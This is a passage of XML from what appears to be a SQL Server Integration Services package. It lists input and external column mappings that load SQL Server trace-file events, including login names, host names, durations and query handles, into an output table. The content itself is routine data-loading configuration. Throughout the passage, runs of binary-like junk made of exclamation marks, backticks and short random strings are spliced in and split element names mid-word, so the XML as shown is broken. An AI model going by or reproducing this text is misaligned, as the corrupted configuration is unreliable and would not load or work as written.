cachedDataType="i4" cachedName="IntegerData" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IntegerData]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ServerName]" cachedDataType="wstr" cachedLength="256" cachedName="ServerName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ServerName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ServerName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[EventClass]" cachedDataType="i4" cachedName="EventClass" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventClass]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventClass]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ObjectType]" cachedDataType="i4" cachedName="ObjectType" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectType]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectType]"/><inputColumn refId="Pa	!!!!!!!!!!!!!!!!!!!!!!!!`2-qZHvckage\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[NestLevel]" cachedDataType="i4" cachedName="NestLevel" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NestLevel]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NestLevel]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[State]" cachedDataType="i4" cachedName="State" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[State]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[State]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Error]" cachedDataType="i4" cachedName="Error" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Error]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Error]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Mode]" cachedDataType="i4" cachedName="Mode" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Mode]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Mode]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Handle]" cachedDataType="i4" cachedName="Handle" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Handle]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Handle]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ObjectName]" cachedDataType="wstr" cachedLength="256" cachedName="ObjectName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[DatabaseName]" cachedDataType="wstr" cachedLength="256" cachedNa	!!!!!!!!!!!!!!!!!!!!!!!!`2eHvme="DatabaseName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DatabaseName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[FileName]" cachedDataType="wstr" cachedLength="256" cachedName="FileName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[FileName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[FileName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[OwnerName]" cachedDataType="wstr" cachedLength="256" cachedName="OwnerName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[OwnerName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[RoleName]" cachedDataType="wstr" cachedLength="256" cachedName="RoleName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RoleName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RoleName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TargetUserName]" cachedDataType="wstr" cachedLength="256" cachedName="TargetUserName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetUserName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetUserName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[DBUserName]" cachedDataType="wstr" cachedLength="256" cachedName="DBUserName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DBUserName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DBUserName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[LoginSid]" cachedDataType="image" cachedName="LoginSid" externalMetadataColumnId="Package\For Loop Con	!!!!!!!!!!!!!!!!!!!!!!!!`2eHvtainer\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LoginSid]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginSid]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TargetLoginName]" cachedDataType="wstr" cachedLength="256" cachedName="TargetLoginName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetLoginName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TargetLoginSid]" cachedDataType="image" cachedName="TargetLoginSid" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetLoginSid]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginSid]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ColumnPermissions]" cachedDataType="i4" cachedName="ColumnPermissions" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ColumnPermissions]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ColumnPermissions]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[LinkedServerName]" cachedDataType="wstr" cachedLength="256" cachedName="LinkedServerName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LinkedServerName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LinkedServerName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ProviderName]" cachedDataType="wstr" cachedLength="256" cachedName="ProviderName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ProviderName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ProviderName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[MethodName]" cachedDataType="wstr" cachedLength="256" cachedName="MethodName" externalMetadataColumnId="Package\F	!!!!!!!!!!!!!!!!!!!!!!!!`2eeHvor Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[MethodName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[MethodName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[RowCounts]" cachedDataType="i8" cachedName="RowCounts" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RowCounts]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RowCounts]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[RequestID]" cachedDataType="i4" cachedName="RequestID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RequestID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RequestID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[XactSequence]" cachedDataType="i8" cachedName="XactSequence" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[XactSequence]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[XactSequence]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[EventSequence]" cachedDataType="i8" cachedName="EventSequence" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventSequence]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[BigintData1]" cachedDataType="i8" cachedName="BigintData1" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BigintData1]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData1]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[BigintData2]" cachedDataType="i8" cachedName="BigintData2" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input	!!!!!!!!!!!!!!!!!!!!!!!!`2e!G|Hv].ExternalColumns[BigintData2]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData2]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[GUID]" cachedDataType="guid" cachedName="GUID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[GUID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GUID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[IntegerData2]" cachedDataType="i4" cachedName="IntegerData2" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IntegerData2]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData2]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ObjectID2]" cachedDataType="i8" cachedName="ObjectID2" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectID2]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID2]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Type]" cachedDataType="i4" cachedName="Type" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Type]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Type]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[OwnerID]" cachedDataType="i4" cachedName="OwnerID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[OwnerID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ParentName]" cachedDataType="wstr" cachedLength="256" cachedName="ParentName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ParentName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Pa	!!!!!!!!!!!!!!!!!!!!!!!!`2$HvrentName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[IsSystem]" cachedDataType="i4" cachedName="IsSystem" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IsSystem]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IsSystem]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Offset]" cachedDataType="i4" cachedName="Offset" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Offset]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Offset]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[SourceDatabaseID]" cachedDataType="i4" cachedName="SourceDatabaseID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SourceDatabaseID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SourceDatabaseID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[SessionLoginName]" cachedDataType="wstr" cachedLength="256" cachedName="SessionLoginName" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SessionLoginName]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SessionLoginName]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[trace_info_id]" cachedDataType="i4" cachedName="trace_info_id" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[trace_info_id]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[trace_info_id]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\DRV - Add snapshot_id and trace_info_id.Outputs[Derived Column Output].Columns[snapshot_id]"/><inputColumn refId="Package\For Loop Container\	!!!!!!!!!!!!!!!!!!!!!!!!`20HvFEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[GroupID]" cachedDataType="i4" cachedName="GroupID" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[GroupID]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GroupID]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[SqlHandle64]" cachedDataType="bytes" cachedLength="64" cachedName="SqlHandle64" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SqlHandle]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Output].Columns[SqlHandle64]"/><inputColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[PlanHandle64]" cachedDataType="bytes" cachedLength="64" cachedName="PlanHandle64" externalMetadataColumnId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[PlanHandle]" lineageId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\Data Conversion.Outputs[Data Conversion Output].Columns[PlanHandle64]"/></inputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[trace_info_id]" dataType="i4" name="trace_info_id"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[snapshot_id]" dataType="i4" name="snapshot_id"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TextData]" dataType="nText" name="TextData"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BinaryData]" dataType="image" name="BinaryData"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DatabaseID]" dataType="i4" name="DatabaseID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TransactionID]" dataType="i8" name="TransactionID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LineNumber]" dataType="i4" name="LineNumber"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NTUserName]" dataType="wstr" length="256" nam	!!!!!!!!!!!!!!!!!!!!!!!!`2	2jHve="NTUserName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NTDomainName]" dataType="wstr" length="256" name="NTDomainName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[HostName]" dataType="wstr" length="256" name="HostName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ClientProcessID]" dataType="i4" name="ClientProcessID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ApplicationName]" dataType="wstr" length="256" name="ApplicationName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LoginName]" dataType="wstr" length="256" name="LoginName"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SPID]" dataType="i4" name="SPID"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Duration]" dataType="i8" name="Duration"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[StartTime]" dataType="dbTimeStamp" name="StartTime"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EndTime]" dataType="dbTimeStamp" name="EndTime"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Reads]" dataType="i8" name="Reads"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Writes]" dataType="i8" name="Writes"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[CPU]" dataType="i4" name="CPU"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Permissions]" dataType="i8" name="Permissions"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Severity]" dataType="i4" name="Severity"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventSubClass]" dataType="i4" name="EventSubClass"/><externalMetadataColumn refId="Package\For Loop Container\FEF - For each trace file - regular trace upload\DFT - Upload trace file\ODB - Write to outp	!!!!!!!!!!!!!!!!!!!!!!!!`2
